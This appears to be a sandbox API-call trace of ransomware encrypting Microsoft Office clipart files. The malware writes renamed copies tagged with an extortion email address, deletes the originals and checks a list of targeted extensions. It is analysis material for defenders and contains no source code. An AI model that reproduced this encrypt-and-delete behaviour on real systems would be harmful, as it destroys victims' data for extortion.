	[0054.647] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.647] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.647] SetEndOfFile (hFile=0x2f4) returned 1
	[0054.647] CloseHandle (hObject=0x2f4) returned 1
	[0054.650] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.651] SetEndOfFile (hFile=0x388) returned 1
	[0054.652] CloseHandle (hObject=0x388) returned 1
	[0054.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1
	[0054.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0054.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0054.659] lstrlenW (lpString=".doc") returned 4
	[0054.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.659] lstrlenW (lpString=".docx") returned 5
	[0054.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.659] lstrlenW (lpString=".pdf") returned 4
	[0054.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.659] lstrlenW (lpString=".xls") returned 4
	[0054.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.659] lstrlenW (lpString=".xlsx") returned 5
	[0054.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.659] lstrlenW (lpString=".ppt") returned 4
	[0054.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0054.659] lstrlenW (lpString=".zip") returned 4
	[0054.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.659] lstrlenW (lpString=".rar") returned 4
	[0054.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.659] lstrlenW (lpString=".bz2") returned 4
	[0054.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.660] lstrlenW (lpString=".7z") returned 3
	[0054.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0054.660] lstrlenW (lpString=".dbf") returned 4
	[0054.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0054.660] lstrlenW (lpString=".1cd") returned 4
	[0054.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0054.660] lstrlenW (lpString=".jpg") returned 4
	[0054.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.660] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.660] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0054.661] GetLastError () returned 0x0
	[0054.661] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x1b54, lpOverlapped=0x0) returned 1
	[0054.669] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x1b60, lpOverlapped=0x0) returned 1
	[0054.670] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.670] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.670] SetEndOfFile (hFile=0x2f4) returned 1
	[0054.670] CloseHandle (hObject=0x2f4) returned 1
	[0054.671] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.671] SetEndOfFile (hFile=0x388) returned 1
	[0054.671] CloseHandle (hObject=0x388) returned 1
	[0054.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1
	[0054.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0054.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0054.672] lstrlenW (lpString=".doc") returned 4
	[0054.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.672] lstrlenW (lpString=".docx") returned 5
	[0054.672] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.672] lstrlenW (lpString=".pdf") returned 4
	[0054.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.672] lstrlenW (lpString=".xls") returned 4
	[0054.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.673] lstrlenW (lpString=".xlsx") returned 5
	[0054.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.673] lstrlenW (lpString=".ppt") returned 4
	[0054.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0054.673] lstrlenW (lpString=".zip") returned 4
	[0054.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.673] lstrlenW (lpString=".rar") returned 4
	[0054.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.673] lstrlenW (lpString=".bz2") returned 4
	[0054.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.673] lstrlenW (lpString=".7z") returned 3
	[0054.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0054.673] lstrlenW (lpString=".dbf") returned 4
	[0054.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0054.673] lstrlenW (lpString=".1cd") returned 4
	[0054.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0054.673] lstrlenW (lpString=".jpg") returned 4
	[0054.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.674] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.674] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0054.675] GetLastError () returned 0x0
	[0054.675] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x6ba0, lpOverlapped=0x0) returned 1
	[0054.707] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x6bb0, lpOverlapped=0x0) returned 1
	[0054.708] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.708] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.708] SetEndOfFile (hFile=0x2f4) returned 1
	[0054.708] CloseHandle (hObject=0x2f4) returned 1
	[0054.709] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.709] SetEndOfFile (hFile=0x388) returned 1
	[0054.710] CloseHandle (hObject=0x388) returned 1
	[0054.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1
	[0054.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0054.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0054.711] lstrlenW (lpString=".doc") returned 4
	[0054.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.711] lstrlenW (lpString=".docx") returned 5
	[0054.711] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.711] lstrlenW (lpString=".pdf") returned 4
	[0054.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.711] lstrlenW (lpString=".xls") returned 4
	[0054.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.711] lstrlenW (lpString=".xlsx") returned 5
	[0054.712] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.712] lstrlenW (lpString=".ppt") returned 4
	[0054.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0054.712] lstrlenW (lpString=".zip") returned 4
	[0054.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.712] lstrlenW (lpString=".rar") returned 4
	[0054.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.712] lstrlenW (lpString=".bz2") returned 4
	[0054.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.712] lstrlenW (lpString=".7z") returned 3
	[0054.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0054.712] lstrlenW (lpString=".dbf") returned 4
	[0054.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0054.712] lstrlenW (lpString=".1cd") returned 4
	[0054.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0054.712] lstrlenW (lpString=".jpg") returned 4
	[0054.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.712] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.713] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0054.713] GetLastError () returned 0x0
	[0054.713] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x4c14, lpOverlapped=0x0) returned 1
	[0054.721] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x4c20, lpOverlapped=0x0) returned 1
	[0054.722] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.722] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.722] SetEndOfFile (hFile=0x2f4) returned 1
	[0054.723] CloseHandle (hObject=0x2f4) returned 1
	[0054.724] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.724] SetEndOfFile (hFile=0x388) returned 1
	[0054.725] CloseHandle (hObject=0x388) returned 1
	[0054.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1
	[0054.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0054.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0054.726] lstrlenW (lpString=".doc") returned 4
	[0054.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.726] lstrlenW (lpString=".docx") returned 5
	[0054.726] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.726] lstrlenW (lpString=".pdf") returned 4
	[0054.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.726] lstrlenW (lpString=".xls") returned 4
	[0054.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.726] lstrlenW (lpString=".xlsx") returned 5
	[0054.726] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.726] lstrlenW (lpString=".ppt") returned 4
	[0054.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0054.726] lstrlenW (lpString=".zip") returned 4
	[0054.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.726] lstrlenW (lpString=".rar") returned 4
	[0054.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.726] lstrlenW (lpString=".bz2") returned 4
	[0054.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.726] lstrlenW (lpString=".7z") returned 3
	[0054.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0054.726] lstrlenW (lpString=".dbf") returned 4
	[0054.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0054.727] lstrlenW (lpString=".1cd") returned 4
	[0054.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0054.727] lstrlenW (lpString=".jpg") returned 4
	[0054.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.727] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.727] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0054.728] GetLastError () returned 0x0
	[0054.728] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xd16, lpOverlapped=0x0) returned 1
	[0055.457] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xd20, lpOverlapped=0x0) returned 1
	[0055.458] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.458] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0055.458] SetEndOfFile (hFile=0x2f4) returned 1
	[0056.761] CloseHandle (hObject=0x2f4) returned 1
	[0056.798] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.798] SetEndOfFile (hFile=0x388) returned 1
	[0056.799] CloseHandle (hObject=0x388) returned 1
	[0056.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1
	[0056.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0056.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0056.800] lstrlenW (lpString=".doc") returned 4
	[0056.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.800] lstrlenW (lpString=".docx") returned 5
	[0056.800] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0056.800] lstrlenW (lpString=".pdf") returned 4
	[0056.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.800] lstrlenW (lpString=".xls") returned 4
	[0056.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.800] lstrlenW (lpString=".xlsx") returned 5
	[0056.800] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0056.800] lstrlenW (lpString=".ppt") returned 4
	[0056.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0056.800] lstrlenW (lpString=".zip") returned 4
	[0056.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.800] lstrlenW (lpString=".rar") returned 4
	[0056.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.800] lstrlenW (lpString=".bz2") returned 4
	[0056.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.800] lstrlenW (lpString=".7z") returned 3
	[0056.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0056.800] lstrlenW (lpString=".dbf") returned 4
	[0056.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0056.800] lstrlenW (lpString=".1cd") returned 4
	[0056.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0056.800] lstrlenW (lpString=".jpg") returned 4
	[0056.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.801] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.801] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0056.801] GetLastError () returned 0x0
	[0056.801] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x414, lpOverlapped=0x0) returned 1
	[0056.814] WriteFile (in: hFile=0x2f0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x420, lpOverlapped=0x0) returned 1
	[0056.816] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.816] WriteFile (in: hFile=0x2f0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.817] SetEndOfFile (hFile=0x2f0) returned 1
	[0056.817] CloseHandle (hObject=0x2f0) returned 1
	[0056.817] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.817] SetEndOfFile (hFile=0x388) returned 1
	[0056.818] CloseHandle (hObject=0x388) returned 1
	[0056.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1
	[0056.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0056.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0056.819] lstrlenW (lpString=".doc") returned 4
	[0056.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.819] lstrlenW (lpString=".docx") returned 5
